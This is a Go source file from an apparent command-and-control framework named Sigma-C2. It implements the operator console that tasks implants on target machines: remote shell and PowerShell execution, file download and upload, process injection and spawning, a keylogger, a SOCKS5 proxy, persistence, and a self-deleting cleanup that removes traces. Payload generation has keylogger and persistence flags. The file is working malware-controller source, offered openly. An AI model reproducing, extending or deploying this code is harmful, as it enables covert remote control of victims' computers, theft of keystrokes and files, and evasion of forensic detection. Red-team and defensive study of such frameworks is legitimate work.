Files
Sigma-C2/server/operator_helper.go

379 lines
11 KiB
Go

package main
import (
"fmt"
"log"
"net"
"strconv"
"strings"
"github.com/google/shlex"
)
var generalHelp string = `
General commands:
agents List active agents
show agent Show information about certain agent
Usage: show agent <agent_id>
tasks Show tasks assigned to all agents
clear tasks Remove tasks assigned to specific agent
Usage: clear tasks <agent_id>
modules Display all available modules
show listeners Show all active listeners
listen Start a listener with the specified parameters
Usage: listen -t ssl -h domain1.com,domain2.com -p 8443 -n listener_ssl_1
Flags:
-t, --transport Transport protocol: tcp, ssl, or dns
-h, --host Comma-separated list of hosts (round robin)
-p, --port Port for the listener
-n, --name Name for the listener
stop listener Stop a specific listener by its name
Usage: stop listener <listener name>
generate Generate a payload for the specified agent type and listener
Usage: generate agent|beacon <listener name> [flags]
Flags for agent:
--interval Set interval between connections (default 5)
--delay Set startup delay (default 5)
--persistence Add persistence module
--keylogger Add keylogger module
--proxy Add SOCKS5 proxy module
`
var contextHelp string = `
Implant Commands:
Agent:
tasks Show tasks assigned to agent
sleep Set the connection interval (in seconds) for an agent
Usage: sleep <sleep_time>
cmd Execute a shell command on a target
Usage: cmd whoami
powershell Execute a PowerShell command on a target
Usage: powershell Get-Process
cd Change directory
Usage: cd C:/Users/John/Downloads | cd .. | cd ../
ls, pwd Self explanatory
download Downloads a file or whole folder with sub-folders
Usage: download C:/Users/John/Downloads/file.txt
upload Upload a file to target machine
Usage: upload /home/user/file.txt C:/Users/John/Desktop/file.txt
info Show information about target system
getinfo Retrieve system information from a target
ps Get list of processes
inject Inject module into remote procedd
Usage: inject <module_name> <pid>
spawn Spawn new process and inject module into it
Usage: spawn <module_name> "exe_path" [ppid]
keylogger Launch/stop keylogger on target
Usage: keylogger <start|stop>
proxy Start SOCKS5 proxy on target machine
Usage: proxy <start|stop>
persistence Add/remove persistence via local app data
Usage: persistence <add|remove>
kill Stop agent's process
cleanup Task agent to stop, remove all traces and self delete
`
func ParseOperatorCommands(operatorConn net.Conn, operatorID string) {
for {
// Read the incoming data
buffer := make([]byte, 1024)
n, err := operatorConn.Read(buffer)
if err != nil {
log.Printf("Error reading from connection: %v", err)
break
}
operatorCommand := strings.TrimSpace(string(buffer[:n]))
// Echo received command
log.Printf("Received command from operator %s: %s \n", operatorID, operatorCommand)
// Exit command
if operatorCommand == "exit" || operatorCommand == "quit" {
log.Printf("Operator %s left us", operatorID)
DeleteOperator(operatorID)
continue
}
if operatorCommand == "general_help" {
operatorConn.Write([]byte(generalHelp))
continue
}
if operatorCommand == "context_help" {
operatorConn.Write([]byte(contextHelp))
continue
}
// Context command, aka implant command
if strings.HasPrefix(operatorCommand, "CONTEXT:") {
// log.Printf("Context command detected: %s", operatorCommand)
operatorCommand = strings.TrimPrefix(operatorCommand, "CONTEXT:")
// log.Printf("Command without prefix: %s", operatorCommand)
ParseOperatorContextCommands(operatorCommand, operatorID, operatorConn)
continue
}
// General aka management command
if strings.HasPrefix(operatorCommand, "GENERAL:") {
// log.Printf("General command detected: %s", operatorCommand)
operatorCommand = strings.TrimPrefix(operatorCommand, "GENERAL:")
// log.Printf("Command without prefix: %s", operatorCommand)
ParseOperatorGeneralCommands(operatorCommand, operatorID, operatorConn)
continue
}
}
}
// Prase general commands
func ParseOperatorGeneralCommands(operatorCommand string, operatorID string, operatorConn net.Conn) {
cmdParts, _ := shlex.Split(operatorCommand)
switch {
case operatorCommand == "agents":
ListAgents(operatorID)
case strings.HasPrefix(operatorCommand, "show agent"):
if len(cmdParts) != 3 {
operatorConn.Write([]byte("Usage: show agent <agent_id>"))
return
}
ShowAgent(operatorID, cmdParts[2])
case cmdParts[0] == "tasks":
ShowTasks(operatorID, cmdParts)
case strings.HasPrefix(operatorCommand, "clear tasks"):
if len(cmdParts) != 3 {
operatorConn.Write([]byte("Usage: clear tasks <agent_id>"))
return
}
ClearTasks(operatorID, cmdParts)
case operatorCommand == "show modules" || operatorCommand == "modules":
ShowModules(operatorID)
// Show all active listeners
case operatorCommand == "show listeners":
ListListeners(operatorID)
// Listener commands
case cmdParts[0] == "listen":
log.Printf("Generate command len: %d", len(cmdParts))
if len(cmdParts) < 9 {
operatorConn.Write([]byte("Usage: listen -t <tcp|ssl> -h <hosts1,host2> -p <port> -n <name>\n"))
return
}
ParseListenCommand(cmdParts, operatorConn)
// Stop certain listener
case strings.HasPrefix(operatorCommand, "stop listener"):
if len(cmdParts) != 3 {
operatorConn.Write([]byte("Usage: stop listener <name>"))
return
}
StopListener(cmdParts[2], operatorConn)
// Payload generation
case cmdParts[0] == "generate":
if len(cmdParts) < 3 {
operatorConn.Write([]byte("Usage: generate <agent|beacon> <listener name> [--interval 15 --delay 10 --persistence --keylogger --proxy]"))
return
}
ParseGenerateCommand(cmdParts, operatorConn)
default:
operatorConn.Write([]byte("Error: Unknown command. Type 'help' for a list of available commands"))
}
}
// Parse context command (agent tasks)
func ParseOperatorContextCommands(operatorCommand string, operatorID string, operatorConn net.Conn) {
cmdParts, _ := shlex.Split(operatorCommand)
log.Printf("Splited operator command: %q", cmdParts)
switch {
case cmdParts[1] == "tasks":
ShowTasks(operatorID, cmdParts)
case cmdParts[1] == "sleep":
if len(cmdParts) != 3 {
operatorConn.Write([]byte("Usage: sleep <sleep_time>"))
return
}
sleepTimeStr := cmdParts[2]
sleepTime, err := strconv.Atoi(sleepTimeStr)
if err != nil {
message := fmt.Sprintf("Invalid sleep time: %s. Must be an integer", sleepTimeStr)
operatorConn.Write([]byte(message))
return
}
if sleepTime < 0 {
message := fmt.Sprintf("Invalid sleep time: %d. Must be a non-negative integer", sleepTime)
operatorConn.Write([]byte(message))
return
}
SleepAgent(operatorID, cmdParts)
case cmdParts[1] == "cmd":
if len(cmdParts) < 3 {
operatorConn.Write([]byte("Usage: cmd <command + arguments>"))
return
}
// Join cmd commands and arguments
cmdParts[2] = strings.Join(cmdParts[2:], " ")
RunShell(operatorID, cmdParts)
case cmdParts[1] == "powershell":
if len(cmdParts) < 3 {
operatorConn.Write([]byte("Usage: powershell <command + arguments>"))
return
}
// Join pwoershell commands and arguments
cmdParts[2] = strings.Join(cmdParts[2:], " ")
RunShell(operatorID, cmdParts)
case cmdParts[1] == "getinfo":
if len(cmdParts) != 2 {
operatorConn.Write([]byte("Usage: getinfo"))
return
}
SendSysInfo(operatorID, cmdParts)
case cmdParts[1] == "info":
if len(cmdParts) != 2 {
operatorConn.Write([]byte("Usage: info"))
return
}
ShowAgent(operatorID, cmdParts[0])
case cmdParts[1] == "inject-self":
if len(cmdParts) != 3 {
operatorConn.Write([]byte("Usage: inject <module_name>"))
return
}
PrepareModule(operatorID, cmdParts)
case cmdParts[1] == "inject-remote":
if len(cmdParts) != 4 {
operatorConn.Write([]byte("Usage: inject <module_name> <pid>"))
return
}
PrepareModule(operatorID, cmdParts)
case cmdParts[1] == "spawn":
if len(cmdParts) < 4 || len(cmdParts) > 5 {
operatorConn.Write([]byte("Usage: spawn <module_name> <exe_path> <ppid>"))
return
}
PrepareModule(operatorID, cmdParts)
case cmdParts[1] == "download":
if len(cmdParts) != 3 {
operatorConn.Write([]byte("Usage: download \"C:/Users/John/Desktop/file1.txt\"\n download \"C:/Program Files/folder1\""))
return
}
operatorConn.Write([]byte(fmt.Sprintf("Downloading file %s", cmdParts[2])))
DownloadFile(operatorID, cmdParts)
case cmdParts[1] == "upload":
if len(cmdParts) < 3 {
operatorConn.Write([]byte("Usage: upload \"/home/user/file1.txt\" \"C:/Users/John/Desktop/file1.txt\""))
return
}
UploadFile(operatorID, cmdParts)
case cmdParts[1] == "cd":
if len(cmdParts) != 3 {
operatorConn.Write([]byte("Usage: cd <path>"))
return
}
HandleNavigation(operatorID, cmdParts)
case cmdParts[1] == "ls" || cmdParts[1] == "pwd":
if len(cmdParts) != 2 {
operatorConn.Write([]byte("Usage: ls / dir / pwd"))
return
}
ShowDirectory(operatorID, cmdParts)
case cmdParts[1] == "ps":
if len(cmdParts) != 2 {
operatorConn.Write([]byte("Usage: ps"))
return
}
GetProcesses(operatorID, cmdParts)
case cmdParts[1] == "keylogger":
if len(cmdParts) != 3 {
operatorConn.Write([]byte("Usage: keylogger start|stop|report"))
return
}
// operatorConn.Write([]byte(fmt.Sprintf("Trying to %s keylogger on %s", cmdParts[1], cmdParts[0])))
Keylogger(operatorID, cmdParts)
case cmdParts[1] == "persistence":
if len(cmdParts) != 3 {
operatorConn.Write([]byte("Usage: persistence add|remove"))
return
}
// operatorConn.Write([]byte(fmt.Sprintf("Checking persistence %s", cmdParts[2])))
Persistence(operatorID, cmdParts)
case cmdParts[1] == "proxy":
if len(cmdParts) != 3 {
operatorConn.Write([]byte("Usage: proxy <start|stop>"))
return
}
// operatorConn.Write([]byte(fmt.Sprintf("Trying to %s proxy on %s", cmdParts[2], cmdParts[0])))
Proxy(operatorID, cmdParts)
case cmdParts[1] == "kill":
if len(cmdParts) != 2 {
operatorConn.Write([]byte("Usage: kill"))
return
}
// operatorConn.Write([]byte(fmt.Sprintf("Killing agent %s", cmdParts[0])))
Kill(operatorID, cmdParts)
case cmdParts[1] == "cleanup":
if len(cmdParts) != 2 {
operatorConn.Write([]byte("Usage: cleanup"))
return
}
// operatorConn.Write([]byte(fmt.Sprintf("Tasking agent %s to clean up and self delete", cmdParts[0])))
Cleanup(operatorID, cmdParts)
default:
operatorConn.Write([]byte("Error: Unknown command. Type 'help' for a list of available commands"))
}
}